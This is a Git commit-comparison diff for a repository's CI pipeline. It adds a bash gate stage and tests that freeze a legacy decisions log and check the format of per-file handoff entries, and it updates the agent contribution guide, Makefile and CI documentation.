Compare commits
13
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
11a74cce53 | ||
|
|
9f018aa101 | ||
|
|
b1c99e51bb | ||
|
|
c59fe9f923 | ||
|
|
72a46ad82d | ||
|
|
cadf64a514 | ||
|
|
cfbc596b8b | ||
|
|
c59a4b76bb | ||
|
|
cd2617e5b3 | ||
|
|
8697702d51 | ||
|
|
d29a73cad8 | ||
|
|
07f03536b3 | ||
|
|
e993d0f7d1 |
No files matched your search
@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
|
||||
## The pipeline
|
||||
|
||||
```
|
||||
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
||||
live now cluster-gated (SKIPS in Phase 0)
|
||||
```
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# CLAUDE.md — how work lands in this repo
|
||||
|
||||
Read this before doing anything durable. It is the delivery contract for AI coding
|
||||
sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
|
||||
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
|
||||
takes precedence on *what* to work on; this file governs *how* it lands.
|
||||
|
||||
## 1. Never push to `main`. Ever.
|
||||
@@ -48,9 +48,10 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
|
||||
|
||||
## 2b. Never infer platform state from this repository
|
||||
|
||||
**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
|
||||
Both describe what someone believed at the time of writing, and both have been
|
||||
confidently wrong for a month at a stretch.
|
||||
**This repo is not evidence about the live platform.** Neither is the handoff log
|
||||
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
|
||||
believed at the time of writing, and both have been confidently wrong for a month at a
|
||||
stretch.
|
||||
|
||||
On 2026-09-29 the log stated the merge gate was a required status check with a runner
|
||||
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
|
||||
@@ -139,9 +140,32 @@ invocations concurrently.
|
||||
flow. Do not design around committing one — read the expiry from the issuing page and
|
||||
treat a burnt token as free to retry.
|
||||
|
||||
## 7. Before you finish
|
||||
## 7. Before you finish — write a handoff entry, in its OWN file
|
||||
|
||||
Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
|
||||
verified, and what you did **not** verify. State gaps plainly — an honest
|
||||
"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
|
||||
burned by the difference.
|
||||
Add **one new file**:
|
||||
|
||||
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
|
||||
|
||||
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
|
||||
|
||||
## What changed
|
||||
## What I verified
|
||||
## What I did NOT verify
|
||||
|
||||
State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
|
||||
and this repo has already been burned by the difference. All three headings are
|
||||
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
|
||||
Template and full rationale: `decisions/README.md`.
|
||||
|
||||
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
|
||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
|
||||
to it. Appending to its tail is what every agent used to do, and because every branch
|
||||
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
|
||||
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
|
||||
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
|
||||
anything to do with each other. Separate files have nothing to merge, which is the
|
||||
entire fix. Note that the damage from getting this wrong lands on *other people's*
|
||||
branches, later, which is why it is a gate stage and not a request.
|
||||
|
||||
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
|
||||
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
|
||||
+621
-399
File diff suppressed because it is too large.
Load diff
+4
-1
@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
|
||||
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||
|
||||
help: ## Show this help
|
||||
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
||||
@@ -29,6 +29,9 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
|
||||
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
||||
@"$(CI_DIR)render-golden.sh"
|
||||
|
||||
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
|
||||
@"$(CI_DIR)decisions-log.sh"
|
||||
|
||||
l1: ## L1 rendering checks (no cluster; live now)
|
||||
@"$(CI_DIR)l1.sh"
|
||||
|
||||
|
||||
@@ -101,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|
||||
|---|---|---|
|
||||
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
||||
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
||||
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
|
||||
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
||||
|
||||
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
||||
|
||||
Executable
+195
@@ -0,0 +1,195 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
|
||||
#
|
||||
# WHY THIS STAGE EXISTS
|
||||
# ---------------------
|
||||
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
|
||||
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
|
||||
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
|
||||
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
|
||||
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
|
||||
#
|
||||
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
|
||||
#
|
||||
# Nothing was wrong with any of those changes. The log's storage format serialised work that
|
||||
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
|
||||
# rebases, each invalidating the gate run before it).
|
||||
#
|
||||
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
|
||||
# disjoint paths and there is nothing to merge. See decisions/README.md.
|
||||
#
|
||||
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
|
||||
# --------------------------------------------
|
||||
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
|
||||
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
|
||||
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
|
||||
# that quietly re-creates the conflict for every other open branch, and the damage is only
|
||||
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
|
||||
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
|
||||
# it gets a guard rather than a paragraph.
|
||||
#
|
||||
# WHAT IS ASSERTED
|
||||
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
|
||||
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
|
||||
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
|
||||
# directory sorts chronologically and two agents cannot collide on a filename.
|
||||
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
|
||||
# filename — a disagreement means a copied template nobody edited.
|
||||
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
|
||||
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
|
||||
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
|
||||
# this repo's recurring failure is a confident report of something nobody measured, and an
|
||||
# entry with nowhere to write "UNVERIFIED" does not get one written.
|
||||
#
|
||||
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
|
||||
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
|
||||
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
|
||||
# add a fail-open surface to a guard whose whole job is to close one.
|
||||
set -uo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
# shellcheck disable=SC1091
|
||||
source "${CI_DIR}/lib.sh"
|
||||
set +e # aggregate every problem in one run; do not stop at the first.
|
||||
|
||||
cd "$REPO_ROOT"
|
||||
|
||||
ARCHIVE="DECISIONS-LOG.md"
|
||||
PIN="decisions/ARCHIVE.sha256"
|
||||
rc=0
|
||||
|
||||
# ---- (1) the archive is frozen ----------------------------------------------
|
||||
log "Stage: decisions log (archive frozen + entries well-formed)"
|
||||
|
||||
if [ ! -f "$ARCHIVE" ]; then
|
||||
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
|
||||
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
|
||||
rc=1
|
||||
elif [ ! -f "$PIN" ]; then
|
||||
err "${PIN} is missing, so the archive's integrity cannot be established."
|
||||
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
|
||||
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
|
||||
rc=1
|
||||
else
|
||||
want="$(awk 'NR==1{print $1}' "$PIN")"
|
||||
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
|
||||
if [ "$want" != "$got" ]; then
|
||||
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
|
||||
err " pinned: ${want}"
|
||||
err " on disk: ${got}"
|
||||
err ""
|
||||
err " Every branch that appends to this file's tail conflicts with every other branch that"
|
||||
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
|
||||
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
|
||||
err ""
|
||||
err " Write your handoff as its OWN FILE instead:"
|
||||
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
|
||||
err " and restore the archive: git checkout -- ${ARCHIVE}"
|
||||
err ""
|
||||
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
|
||||
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
|
||||
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
|
||||
rc=1
|
||||
else
|
||||
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
|
||||
shopt -s nullglob
|
||||
entries=( decisions/[0-9]*.md )
|
||||
shopt -u nullglob
|
||||
|
||||
# Zero entries is legitimate only until the first handoff lands; after that the glob always
|
||||
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
|
||||
# CLAUDE.md, not this stage, is what asks for one.
|
||||
if [ "${#entries[@]}" -eq 0 ]; then
|
||||
log "no decisions/ entries yet"
|
||||
fi
|
||||
|
||||
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
|
||||
|
||||
for f in "${entries[@]}"; do
|
||||
base="${f#decisions/}"
|
||||
|
||||
# (2) filename
|
||||
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
|
||||
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
|
||||
err " Use your branch's last segment as the slug — it is already unique per unit of work."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fname_date="${BASH_REMATCH[1]}"
|
||||
|
||||
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
|
||||
err "${f}: '${fname_date}' is not a real calendar date."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
|
||||
# (3) frontmatter
|
||||
if [ "$(head -1 "$f")" != "---" ]; then
|
||||
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
|
||||
err " See decisions/README.md for the template."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
|
||||
missing_keys=()
|
||||
for k in date branch title; do
|
||||
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
|
||||
done
|
||||
if [ "${#missing_keys[@]}" -gt 0 ]; then
|
||||
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
|
||||
if [ "$fm_date" != "$fname_date" ]; then
|
||||
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
|
||||
err " One of them was copied from a template and not edited; the log's ordering depends on both."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
|
||||
# (4) the three required sections, each with a real body
|
||||
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
|
||||
[ -n "$body_start" ] || body_start=1
|
||||
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
|
||||
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
|
||||
if [ -z "$hdr_line" ]; then
|
||||
err "${f}: missing the required section '## ${want_sec}'."
|
||||
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
|
||||
err " All three are structure here, because the third is the one that gets dropped."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
|
||||
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
|
||||
| tr -d '[:space:]' | wc -c)"
|
||||
if [ "$nchars" -lt 20 ]; then
|
||||
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
|
||||
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
|
||||
err " is a valid and useful entry. A blank section is not."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
|
||||
rc=1
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$rc" -eq 0 ]; then
|
||||
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
|
||||
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
|
||||
else
|
||||
err "decisions log stage FAILED"
|
||||
fi
|
||||
exit "$rc"
|
||||
+17
@@ -108,6 +108,7 @@ summary "## Merge gate (R-TEST-03)"
|
||||
summary ""
|
||||
|
||||
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
||||
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
|
||||
run_stage lint "${CI_DIR}/lint.sh"
|
||||
run_stage l0 "${CI_DIR}/l0.sh"
|
||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||
@@ -214,6 +215,22 @@ case "${OUTCOME[gitea-settings]}" in
|
||||
pass) ok "gitea-settings: green" ;;
|
||||
esac
|
||||
|
||||
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
|
||||
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
|
||||
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
|
||||
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
|
||||
# the tree under test and needs no tool or cluster, so there is no environment in which it
|
||||
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
|
||||
# have a way to not-run.
|
||||
case "${OUTCOME[decisions-log]}" in
|
||||
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
|
||||
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
|
||||
err " as a defect in the stage itself and block."
|
||||
summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
|
||||
BLOCK=1 ;;
|
||||
pass) ok "decisions-log: green" ;;
|
||||
esac
|
||||
|
||||
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
||||
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
||||
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
||||
|
||||
@@ -42,9 +42,16 @@
|
||||
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
||||
# that an unwired credential cannot lock the repository.
|
||||
#
|
||||
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
|
||||
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
|
||||
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
||||
# the drift it exists to catch is still undetected.
|
||||
#
|
||||
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
|
||||
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
|
||||
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
|
||||
# detector sat inert for hours while a token existed and no secret did. The env var below still
|
||||
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
|
||||
# the secret that would feed it cannot be created at all.
|
||||
set -euo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||
|
||||
Executable
+130
@@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
|
||||
#
|
||||
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
|
||||
# for every other open branch. A guard against a silent regression is itself worth nothing
|
||||
# unless somebody has watched it reject the thing it claims to reject, so each case below
|
||||
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
|
||||
# as ci/tests/gate-decision.test.sh, one layer down.
|
||||
set -uo pipefail
|
||||
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
|
||||
PASS=0 FAIL=0
|
||||
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
|
||||
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
|
||||
|
||||
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
|
||||
mk_tree() {
|
||||
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
|
||||
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
|
||||
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
|
||||
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
|
||||
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
|
||||
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
|
||||
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
|
||||
}
|
||||
|
||||
mk_entry() {
|
||||
cat > "$1" <<ENTRY
|
||||
---
|
||||
date: $2
|
||||
branch: chore/example
|
||||
title: An example entry
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
|
||||
## What I verified
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
ENTRY
|
||||
}
|
||||
|
||||
# run <dir> -> sets RC and OUT
|
||||
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
|
||||
|
||||
D="${TMP}/t"
|
||||
|
||||
echo "== 1. a well-formed tree passes"
|
||||
mk_tree "$D"; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
|
||||
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|
||||
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
|
||||
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|
||||
|| bad "the message does not say the archive is frozen"
|
||||
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|
||||
|| bad "the message does not name the remedy"
|
||||
|
||||
echo
|
||||
echo "== 3. a re-pin is a deliberate, accepted act"
|
||||
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
|
||||
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 4. a missing pin is unverifiable, not green"
|
||||
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
|
||||
|
||||
echo
|
||||
echo "== 5. entry naming"
|
||||
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
|
||||
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
|
||||
done
|
||||
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 6. frontmatter"
|
||||
mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
|
||||
|
||||
for key in date branch title; do
|
||||
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
|
||||
done
|
||||
|
||||
# The copied-template failure: the body was rewritten, the date never was.
|
||||
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|
||||
|| bad "accepted a date/filename disagreement"
|
||||
|
||||
echo
|
||||
echo "== 7. the three required sections, and their bodies"
|
||||
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
|
||||
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
|
||||
done
|
||||
|
||||
# A heading with nothing under it is the way this floor gets defeated in practice.
|
||||
mk_tree "$D"
|
||||
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
|
||||
import sys,re
|
||||
p=sys.argv[1]; s=open(p).read()
|
||||
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
|
||||
open(p,'w').write(s)
|
||||
PY
|
||||
run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
|
||||
|
||||
echo
|
||||
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
|
||||
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
|
||||
|
||||
echo
|
||||
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
|
||||
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||
@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
|
||||
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
||||
|
||||
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
||||
for stage in spec-immutability lint l0 render-golden l1 conformance; do
|
||||
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
|
||||
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
|
||||
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
|
||||
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
|
||||
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
|
||||
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
|
||||
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
|
||||
cat > "${CI}/${stage}.sh" <<'STUB'
|
||||
#!/usr/bin/env bash
|
||||
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
||||
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
|
||||
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
||||
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
||||
|
||||
echo
|
||||
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
|
||||
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
|
||||
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
|
||||
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
|
||||
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
|
||||
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
|
||||
